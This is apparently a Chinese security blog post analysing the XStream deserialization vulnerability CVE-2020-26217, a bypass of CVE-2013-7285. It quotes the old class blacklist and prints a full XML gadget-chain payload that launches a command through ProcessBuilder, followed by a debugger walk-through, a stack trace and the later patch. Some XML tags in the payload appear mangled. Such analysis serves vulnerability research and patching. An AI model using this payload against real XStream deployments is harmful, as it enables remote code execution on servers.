该漏洞是对CVE-2013-7285的绕过,在上一个版本做了以下修复:
private class InternalBlackList implements Converter {
private InternalBlackList() {
}
public boolean canConvert(Class type) {
return type == Void.TYPE || type == Void.class || !XStream.this.securityInitialized && type != null && (type.getName().equals("java.beans.EventHandler") || type.getName().endsWith("$LazyIterator") || type.getName().startsWith("javax.crypto."));
}
public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
throw new ConversionException("Security alert. Marshalling rejected.");
}
public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
throw new ConversionException("Security alert. Unmarshalling rejected.");
}
https://x-stream.github.io/security.html#framework
开发者自定义黑白名单
默认安全策略
XStream ≤ 1.4.13
<dependency>
<groupId>com.thoughtworks.xstreamgroupId>
<artifactId>xstreamartifactId>
<version>1.4.13version>
dependency>
<dependency>
<groupId>xpp3groupId>
<artifactId>xpp3_minartifactId>
<version>1.1.4cversion>
dependency>
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plaincontentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='javax.imageio.spi.FilterIterator'>
<iter class='java.util.ArrayList$Itr'>
<cursor>0cursor>
<lastRet>-1lastRet>
<expectedModCount>1expectedModCount>
<outer-class>
<java.lang.ProcessBuilder>
<command>
<string>calcstring>
command>
java.lang.ProcessBuilder>
outer-class>
iter>
<filter class='javax.imageio.ImageIO$ContainsFilter'>
<method>
<class>java.lang.ProcessBuilderclass>
<name>startname>
<parameter-types/>
method>
<name>startname>
filter>
<next/>
iterator>
<type>KEYStype>
e>
<in class='java.io.ByteArrayInputStream'>
<buf>buf>
<pos>0pos>
<mark>0mark>
<count>0count>
in>
is>
<consumed>falseconsumed>
dataSource>
<transferFlavors/>
dataHandler>
<dataLen>0dataLen>
value>
jdk.nashorn.internal.objects.NativeString>
<string>teststring>
entry>
map>
前置漏洞CVE-2013-7285已经分析过了
https://ho1aas.blog.csdn.net/article/details/126297121
涉及到的对象的层次结构大致如下:
map
jdk.nashorn.internal.objects.NativeString
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data
dataHandler
com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource
java.io.SequenceInputStream
javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator
javax.imageio.spi.FilterIterator
java.util.ArrayList$Itr
javax.imageio.ImageIO$ContainsFilter
关键应该就是在后三个,重点看一下
javax.imageio.spi.FilterIterator
java.util.ArrayList$Itr
javax.imageio.ImageIO$ContainsFilter
javax.imageio.spi.FilterIterator有个advance方法,会调用filter.filter()

javax.imageio.ImageIO$ContainsFilter的filter刚好能够反射调用方法

接下来就是具体调试看看如何调用到这一步
反序列化map对象,new了一个空的,然后来到putCurrentEntryIntoMap把元素依次放进去,元素此时通过readCompleteItem()才开始反序列化

这里使用了栈来处理反序列化时对象之间的层次关系

接着,首先获取元素的类型,然后也是复用convertAnother进行反序列化

细节在doUnmarshal之中,对于同层次的节点直接穷举依次反序列化,“深度优先”

第一轮循环给NativeString赋值flags,然后第二次循环来处理,先通过反射获取field

然后从xml的标签class属性获取值的类型

然后通过unmarshallField实例化,核心也是convertAnother

接下来就是循环递归反序列化上面的过程,我们直接看最后是怎么触发的

hashmap put去重调用了NativeString的hashCode,然后进入getStringValue

调用Base64data.toString()

先调了自身的get方法

如果Base64data.data为空就从数据源获取输入流并读取

读取会调用SequenceInputStream.nextStream(),然后调用MultiUIDefaults.nextElement()

如果type是KEYS,就会调用迭代器next的getKey方法获取

FilterIterator.next()调用了advance,然后就命令执行了

invoke:488, Method (java.lang.reflect)
filter:613, ImageIO$ContainsFilter (javax.imageio)
advance:821, FilterIterator (javax.imageio.spi)
next:839, FilterIterator (javax.imageio.spi)
nextElement:153, MultiUIDefaults$MultiUIDefaultsEnumerator (javax.swing)
nextStream:110, SequenceInputStream (java.io)
read:211, SequenceInputStream (java.io)
readFrom:65, ByteArrayOutputStreamEx (com.sun.xml.internal.bind.v2.util)
get:182, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
toString:286, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
getStringValue:122, NativeString (jdk.nashorn.internal.objects)
hashCode:118, NativeString (jdk.nashorn.internal.objects)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
putCurrentEntryIntoMap:107, MapConverter (com.thoughtworks.xstream.converters.collections)
populateMap:98, MapConverter (com.thoughtworks.xstream.converters.collections)
populateMap:92, MapConverter (com.thoughtworks.xstream.converters.collections)
unmarshal:87, MapConverter (com.thoughtworks.xstream.converters.collections)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1404, XStream (com.thoughtworks.xstream)
unmarshal:1383, XStream (com.thoughtworks.xstream)
fromXML:1277, XStream (com.thoughtworks.xstream)
main:11, Main (OneFourThirteen)
1.14.4不允许反序列化ProcessBuilder

realClass有类型判断

ban了三个类

与CVE-2020-26258和CVE-2020-26259是同类型漏洞,适当的dataSource可以触发SSRF和任意文件删除
https://x-stream.github.io/CVE-2020-26258.html
https://x-stream.github.io/CVE-2020-26259.html
https://x-stream.github.io/CVE-2020-26217.html
欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/126347957
版权声明:本文为原创,转载时须注明出处及本声明